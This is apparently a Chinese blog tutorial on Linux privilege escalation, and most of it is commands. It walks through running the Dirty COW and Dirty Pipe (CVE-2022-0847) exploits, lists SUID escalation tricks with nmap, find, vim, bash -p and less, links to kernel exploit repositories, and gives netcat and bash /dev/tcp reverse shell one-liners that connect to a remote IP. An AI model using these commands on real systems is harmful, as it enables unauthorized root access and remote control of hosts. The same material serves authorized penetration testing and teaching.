首页 > 系统相关 >Linux提权

Linux提权

时间:2023-08-28 15:34:20浏览次数:48  
标签:CVE 用户 提权 Linux 权限 root bash

suid, sudo,脏牛提权

基本信息:

基础信息收集

(1):内核,操作系统和设备信息

uname -a 打印所有可用的系统信息 #去github找

uname -r 内核版本

(2)用户和群组

cat /etc/passwd 列出系统上的所有用户

cat /etc/shadow 列出系统上的所有用户密码

(3)用户和权限信息:

whoami 当前用户名

id 当前用户信息

脏牛提权

新建普通用户

Linux提权_bash

cd /tmp/ 不然没有权限上传

Linux提权_github_02

编译:

gcc -pthread dirty.c -o dirty -lcrypt

Linux提权_bash_03

./dirty qwe123

我这里设置成qwe123

可能是我版本原因并未成功:

Linux提权_root权限_04

脏牛2.0:

kali2021:

useradd test

passwd test

bash -i

Linux提权_github_05

git clone https://github.com/imfiver/CVE-2022-0847.git
cd CVE-2022-0847-main
chmod +x Dirty-Pipe.sh
bash Dirty-Pipe.sh

也可以rz

Linux提权_github_06

suid提权

SUID(设置用户ID)是赋予文件的一种权限,它会出现在文件拥有者权限的执行位上,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。那么,为什么要给Linux二进制文件设置这种权限呢?其实原因有很多,例如,程序ping需要root权限才能打开网络套接字,但执行该程序的用户通常都是由普通用户,来验证与其他主机的连通性

首先在本地查找符合条件的文件,有以下三个命令

find / -user root -perm -4000 -print 2>/dev/null

find / -perm -u=s -type f 2>/dev/null

find / -user root -perm -4000 -exec ls -ldb {} \;

Linux提权_bash_07

一般ubuntu行,debian不见得

nmap cp more less find

namp 较旧版本的Nmap(2.02至5.21)带有交互模式,从而允许用户执行shell命令。由于Nmap位于上面使用root权限执行的二进制文件列表中,因此可以使用交互式控制台来运行具有相同权限的shell。) 可以使用下命令进入namp交互模式

nmap --interactive

执行命令后会返回一个shell

nmap> !sh

sh-3.2# whoami

root

而在Metasploit中也有一个模块可以通过SUID Nmap进行提权

exploit/unix/local/setuid_nmap

find 如果find以SUID权限运行,所有通过find执行的命令都会以root权限运行

touch test

find test -exec whoami \;

vim Vim的主要用途是用作文本编辑器。 但是,如果以SUID运行,它将继承root用户的权限,因此可以读取系统上的所有文件

vim /etc/shadow

bash 以下命令将以root身份打开一个bash shell

bash -p

bash-3.2# id

uid=500(cow) gid=500(cow) euid=0(root) groups=500(cow)

less 程序less也可以执行提权后的shell。

less /etc/passwd

!/bin/sh

sudo提权:

需要特定版本

CVE-2017-1000367 [Sudo] (Sudo 1.8.6p7 - 1.8.20)

CVE-2017-1000112 [a memory corruption due to UFO to non-UFO path switch]

CVE-2017-7494 [Samba Remote execution] (Samba 3.5.0-4.6.4/4.5.10/4.4.14)

CVE-2017-7308 [a signedness issue in AF_PACKET sockets] (Linux kernel through 4.10.6)

已对外公开 exp 注:

https://github.com/SecWiki/linux-kernel-exploits https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack/ https://github.com/xairy/kernel-exploits

反弹shell:

nc:
  1. 开启本地8080端口监听,并将本地的bash发布出去。
  2. nc -lvvp 8080 -t -e /bin/bash

nc 192.168.1.101

bash直接反弹

bash反弹一句话

bash -i >& /dev/tcp/192.168.26.146/8000 0>&1

nc -l -p 8000

其实以上bash反弹一句完整的解读过程就是:

bash产生了一个交互环境与本地主机主动发起与目标主机8080端口建立的连接(即TCP 8080 会话连接)相结合,然后在重定向个tcp 8080会话连接,最后将用户键盘输入与用户标准输出相结合再次重定向给一个标准的输出,即得到一个bash 反弹环境。

标签:CVE,用户,提权,Linux,权限,root,bash
From: https://blog.51cto.com/u_16172166/7264329

相关文章

  • linux下vi或vim操作Found a swap file by the name的原因及解决方法--九五小庞
    在linux下用vi或vim打开Test.java文件时[root@localhosttmp]#viTest.java出现了如下信息:E325:ATTENTIONFoundaswapfilebythename".Test.java.swp"ownedby:rootdated:WedDec713:52:562011filename:/var/tmp/Test.javamo......
  • Linux时钟
    Linux时钟概念简介Linux的时钟分为系统时钟(SystemClock)和硬件时钟(RealTimeClock,简称RTC)。系统时钟是指当前LinuxKernel中的时钟,而硬件时钟则是主板上由电池供电的时钟,这个硬件时钟可以在BIOS中进行设置。当Linux启动时,硬件时钟会去读取系统时钟的设置,然后系统时钟就会独立......
  • Linux查看端口是否被占用,被什么服务占用
    如何linux中查看占用8080端口的进程 方法1使用lsof命令使用IPv4协议的局域网:执行命令:lsof-Pnl+M-i4|grep8080输出结果:java1419140110uIPv46793357TCP*:8080(LISTEN) 方法2先使用netstat命令,再用ps命令执行命令:netstat-anp|grep8080 输出结果:......
  • Linux 服务器各项性能检查
    1、网络宽带测试nload-mIncoming进入网卡的流量Outgoing从网卡流出的流量Curr当前流量Avg平均流量Min/Max最大/最小流量Ttl流量总和 ......
  • Linux 查看IP地址 的6种方法
    6种方法在Linux系统中查看IP地址在terminal输入命令或ifconfig或ipaddr或ipaddress或ipaddrshow或ipaddressshowifconfig命令:在终端输入ifconfig命令,它会显示当前系统中所有网络接口的配置信息,包括IP地址、子网掩码和网关等。ip命令:在终端输入ipaddr命令,它会列出当......
  • linux修改文件内容
    进入文件(1)vi文件名,进入文件vi.env查找要修改的内容(1)输入shift+“:”,变成可输入指令状态:(2)输入/+查询内容,如我要修改VERSION参数后的内容则输入/VERSION按下回车即会高亮显示此部分:/VERSION编辑内容(1)找到要修改的内容后,按i键即可进入编辑状态(......
  • Debian / Ubuntu linux install kernel headers package
    确保你有最新的apt版本$ sudoapt-getupdate查找最新的内核版本(可选)$ apt-cachesearchlinux-headers-$(uname-r)安装Linux内核包$ sudoapt-getinstalllinux-headers-$(uname-r)......
  • win与linux下git配置p4merge为合并比较工具的方法
    首先去官方下载p4merge工具1.http://www.perforce.com/downloads/complete_list2.BrowsebyPlatform>选择相应平台系统下载后安装3.安装完毕后,在安装根目录下会有一个p4merge(.exe)的文件  Windows配置:在Git配置中如下配置(请自己写明p4merge路径): [diff]tool=p4m[difft......
  • 不会用这个工具,你的Linux服务器就是个摆设!
    大家好,我的网工朋友在运维这一块,没有工具可谓是寸步难行。一个好的Linux运维,为了提升自己的工作效率,免不得会找一些适合自己业务需求的工具,用起来工作效率高,工作幸福指数直线上升。今天整理了几个对运维来说极其好用的,也是业界公认的好用工具,如果你一个都不曾用过,就out啦!今日文章阅......
  • Linux必备的5款神仙国产软件,让你工作效率成倍提升
    随着近些年来国产化计算机的普及,国内的Linux用户逐渐开始多了起来,虽然Linux操作系统的生态不像Windows那么完善,有众多办公软件可以选择,但也有一定数量的软件资源,其中也包括一些优秀的国产软件。下面我将为大家分享几款Linux必备的神仙国产软件,让你工作效率成倍提升。在线协作文档—......